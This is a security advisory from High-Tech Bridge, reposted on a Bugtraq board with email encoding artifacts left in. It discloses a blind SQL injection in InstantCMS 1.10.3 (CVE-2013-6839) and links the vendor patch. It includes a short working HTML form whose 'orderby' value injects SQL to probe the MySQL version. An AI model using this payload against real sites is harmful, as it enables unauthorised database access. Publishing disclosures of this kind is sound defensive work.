看板 Bugtraq 關於我們 聯絡資訊
Advisory ID: HTB23185 Product: InstantCMS Vendor: InstantSoft Vulnerable Version(s): 1.10.3 and probably prior Tested Version: 1.10.3 Advisory Publication: November 20, 2013 [without technical details] Vendor Notification: November 20, 2013=20 Vendor Patch: November 21, 2013=20 Public Disclosure: December 11, 2013=20 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2013-6839 Risk Level: High=20 CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w= ww.htbridge.com/advisory/ )=20 ---------------------------------------------------------------------------= -------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered blind SQL injection vulne= rability in InstantCMS, which can be exploited to perform SQL Injection att= acks, alter SQL requests and compromise vulnerable application.=20 1) SQL Injection in InstantCMS: CVE-2013-6839 The vulnerability exists due to insufficient filtration of "orderby" HTTP P= OST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attac= ker can execute arbitrary SQL commands in application's database. Simple exploit code below uses blind SQL injection exploitation technique, = and will display different order of records on the page if MySQL version is= 5.*: <form action=3D"http://[host]/catalog/2" method=3D"post" name=3D"main"> <input type=3D"hidden" name=3D"orderby" value=3D"(-pubdate*(substring(vers= ion(),1,1)=3D5))"> <input type=3D"hidden" name=3D"orderto" value=3D"asc"> <input type=3D"submit" id=3D"btn"> </form> ---------------------------------------------------------------------------= -------------------- Solution: Apply patch for InstantCMS 1.10.3: http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-= 11-2013.zip InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/r= elease modification] and is not vulnerable. More Information: http://www.instantcms.ru/novosti/security-update-1-10-3.html http://trac.instantcms.ru/changeset/1376 ---------------------------------------------------------------------------= -------------------- References: [1] High-Tech Bridge Advisory HTB23185 - https://www.htbridge.com/advisory/= HTB23185 - SQL Injection in InstantCMS. [2] InstantCMS - http://www.instantcms.ru/ - InstantCMS is a free open-sour= ce system for managing Internet communities and building social networking = website. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in= ternational in scope and free for public use, CVE=C2=AE is a dictionary of = publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to = developers and security practitioners, CWE is a formal list of software wea= kness types. [5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri= dge's proprietary web application security assessment solution with SaaS de= livery model that combines manual and automated vulnerability testing. ---------------------------------------------------------------------------= -------------------- Disclaimer: The information provided in this Advisory is provided "as is" a= nd without any warranty of any kind. Details of this Advisory may be update= d in order to provide as accurate information as possible. The latest versi= on of the Advisory is available on web page [1] in the References.